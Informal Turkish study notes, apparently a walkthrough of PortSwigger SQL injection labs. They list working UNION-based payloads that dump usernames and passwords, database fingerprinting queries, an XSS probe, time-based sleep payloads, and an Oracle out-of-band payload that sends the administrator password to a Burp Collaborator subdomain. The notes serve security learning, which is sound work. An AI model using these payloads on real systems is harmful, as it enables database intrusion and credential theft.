Bu link üzerinden PortSwigger'ın hazırladığı SQLi Cheat Sheet'e ulaşabilirsiniz.
- Buna bakarak: SQL query’sinden dönen datanın ekranda print edilmesi senin için bir zaafiyet durumunda UNION ile daha kolay çözebileceğin anlamına gelir.
- MYSQL ve Postgresql de karşılaşılan tırnak hadisesi.
...?category=Accessories'
Internel Server Error görmen zaafiyet olması anlamına gelmiyor.
...?category=Accessories''
- 2 tane tırnak attığında errorun ortadan kalkıyor olması DB e giden syntax erroru çözdün demek oluyor yani SQLi var burda.
- Accessories' and '1'='1 ile de çözebilirsin.
- 'Accessories' and '1'='1' bunu bu şekilde çözmektense,
- 'Accessories' and 1=1--' buna dönüştürürsen eğer # şekilnde mi --(Postgres için command line işareti) şeklinde mi çalışıyor ondan emin olursun.
- Bundan emin olduktan sonra UNION ile ilerleyebilirsin.
Accessories' UNION SELECT null,null--
UNION kullanmak için kolon sayısı aynı olması gerekiyor o yüzden 2 tane null yetti
mehmetince' UNION SELECT null,null--
diğer veriler gelmemesi için
UNION SELECT username,password FROM users--
username ve password kısmı lab girişinde söyleniyor.
SELECT a,b,c,d FROM x WHERE y = 'Accessories'
- Eğer gelen datanın 2 kolonundan sadece tek bir kolonun datasını yazıyor ise;
UNION SELECT null,'metmet' FROM users--
UNION SELECT null,CONCAT(username,':::MDISEC:::',password) FROM users--
- username ve password kolonlarını birleştiriyor arasına da :::MDISEC::: yazıyor
...accessories' UNION SELECT null,null FROM dual--
...accessories' UNION SELECT null,'mehmet' FROM dual--
hangi kolonu alıyor onu anlamak için.
...accessories' UNION SELECT null,banner FROM v$version--
SELECT banner FROM v$version şeklinde çalışıyor
- Bu datayı ekrana print ederken encoding yapmıyorsa XSS de olabilir. Gelen datayı değiştir, manipüle et.
UNION SELECT null,<svg onload=alert(1)> FROM v$version--
Lab: SQL injection attack, querying the database type and version on MySQL and Microsoft Lab linki
- Mysqlde -- boşluk ve yanına bir şey yazman lazım # yerine
?category=MDISEC' UNION SELECT null,@@version#
# yerine %23
Lab: SQL injection attack, listing the database contents on non-Oracle databases Lab Linki
...?category=MDISEC' UNION SELECT 1,2 -- aasf
- hangi tip DB olduğunu öğrenmek için öncelikle böyle yaptık. 1,2 yazarak data tipleri farklı olan bir tabloymuş gibi istek attık Postgresql aynı istediği için hata verdi
?category=MDISEC' UNION SELECT null,null -- aasf
- yazınca düzeldi
?category=MDISEC' UNION SELECT null,table_name FROM information_schema.tables-- aasf''
?category=MDISEC' UNION SELECT null,table_name FROM information_schema.tables WHERE table_schema=current_schema()-- aasf
- sadece bizim şemaya ait tablo isimlerini getirmek istiyoruz
?category=MDISEC' UNION SELECT null,column_name FROM information_schema.cloumns WHERE table_name='users_yhfrcv'--
- username ve şifre kolonlarını getirdi bize
MDISEC' UNION SELECT null,concat(username_ktovtr, ':::MDISEC:::', password_sgugwv) FROM users_yhfrcv--
- category=Lifestyle'
- category=Lifestyle''
-
Data gelmedi iki şekilde de sıkıntı var aga burda değil demekki
-
ürünler üstünde deneyelim
- productid=9'
- hata geldi
- productid=9''
- yine hata geldi burada da değil o zaman
- Bu kategorilerde data gelip gittiği için Blind değil, Error görmediğimiz için de error based hiç değil.
- category=Lifestyle"
- category=Lifestyle'--
- olmuyor...
- Burp Suite başvurma zamanı
- Cookie kısmında TrackingId ' yapmayı denedi olmadı. Data eksilip artmadı.
- TrackingId olsaydı, SQL INSERT sorgusunda sıkıntı olmuş olurdu
- SessionId kısmına da aynısını yaptı yine olmadı.
- Hala TrackingId den şüphelenmeye devam ediyor. Time Based payloadlar deniyor.
' -sleep(5)-'
'||pg_sleep(5)||'
- Şöyle bir şey de olabilir :
- Senden aldığı isteği direkt cevabını veriyor olabilir, arka tarafta da Background Job başlatır ve senden aldığı parametre ile iş yapar.
- DB aldığı veriyi Queue'ya yazıyor onu da Worker'a veriyor. Burda Time Based SQLi işe yaramaz. SQLi çalışıyor ama arkadaki iş bekliyor.
- Dışarıyla iletişim kurmayı sağlatmak gerekiyor. Cookieleri noktalı virgüle(;) göre alıyor
- TrackingId=ljashfuashuıeasjf';SELECT; session=asjfhasfhasoıjasd15811he281uıhur
- yapsan bile noktalı virgüle(;) göre ayırdığı için cookieleri, bunları arkada nasıl ayıracak belli değil.
- TrackingId=ljashfuashuıeasjf';SELECT; session=asjfhasfhasoıjasd15811he281uıhur
Lab sayfasında asenkron yazıyormuş :) Bu tür yapıları gerçek hayatta da exploit etmek zor whitebox testlerde rahat çıkartabiliyorsun.
- INSERT sorgusu görürsün databasede. INSERT INTO X (a,b,c) VALUES ('','','ljashfuashuıeasjf')
- sleepi denemesinin sebebi de INSERT sorgusu varsa sleep eder diye.
INSERT INTO X (a,b,c) VALUES ('aaaaa'); ,'','ljashfuashuıeasjf')
- Bu kısım sıkıntı çıkartmaya başlar ; yüzünden
INSERT INTO X (a,b,c) VALUES ('','','A'||(SELECT)||'C')
- SubSELECT sorgusu atabiliyor muyuz onu kontrol ediyor. ORACLE olduğuna karar verdi
- Burp collaborator açtı en sol üstteki Burp sekmesinden. Asenkron yapı olduğu için başka bir websitesine istek attırtıyorsun zorla.
INSERT INTO X (a,b,c) VALUES ('','','A'||(SELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [ <!ENTITY %25 remote SYSTEM "http://'||(SELECT YOUR-QUERY-HERE)||'.BURP-COLLABORATOR-SUBDOMAIN/"> %25remote;]>'),
'/l') FROM dual)||'C')
- Bu şekilde de olur
INSERT INTO X (a,b,c) VALUES ('','','A'||(SELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [ <!ENTITY %25 remote SYSTEM "http://askfjgasjıs.BURP-COLLABORATOR-SUBDOMAIN/"'||(SELECT password FROM users WHERE username = 'administrator')||'> %25remote;]>'),
'/l') FROM dual)||'C')
- İsteği yolladıktan sonra Poll now tuşuna bas collaborator dan.
SQLmapte : * koyarak parametre vermiş oluyorsun x.com/api/user/1*/get